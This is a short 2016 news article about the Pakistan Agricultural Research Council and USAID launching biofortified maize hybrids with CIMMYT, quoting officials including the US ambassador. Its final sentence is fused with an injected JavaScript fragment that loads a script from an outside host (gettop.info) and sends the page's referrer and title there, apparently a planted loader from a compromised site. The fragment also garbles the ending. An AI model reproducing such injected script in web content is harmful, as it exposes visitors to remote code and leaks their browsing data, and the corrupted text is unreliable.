Published On: Fri, Feb 19th, 2016
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PARC starts work on biofortified maize hybrids

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Islamabad: The Pakistan Agricultural Research Council (PARC) in collaboration with the USAID is planning to plant biofortified maize hybrids in the country.

PARC Chairman Dr Nadeem Amjad said this while addressing a “Biofortified Maize Hybrids” launching ceremony here on Thursday.

USAID Mission Director John Groarke said that the United States was committed to work with Pakistan for increasing productivity and income in the agriculture sector to help improve the livelihood of farmers.

The project funded by the USAID and managed by CIMMYT in partnership with the PARC and other stakeholders aims at increasing crop productivity and production value of livestock, horticultural, and cereal crops, thus increasing income for Pakistan farmers. This is multi-institute programme and designed to attract highly skilled staff of national and international repute for supporting agriculture research community in Pakistan.

Dr Amjad lauded scientists’ hard work to make maize seed sector strong, bringing years of research to Pakistan through CIMMYT’s maize parental inbred. He said that CIMMYT has been playing a significant role in maize and wheat research and developed activities in Pakistan.

US Ambassador David Hale said that the new varieties of maize will bring prosperity among farming community and radical changes will occur in the overall economy of agricultural sector. He said that maize seeds will benefit farmers and increase access to nutritious food to millions of Pakistanis.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;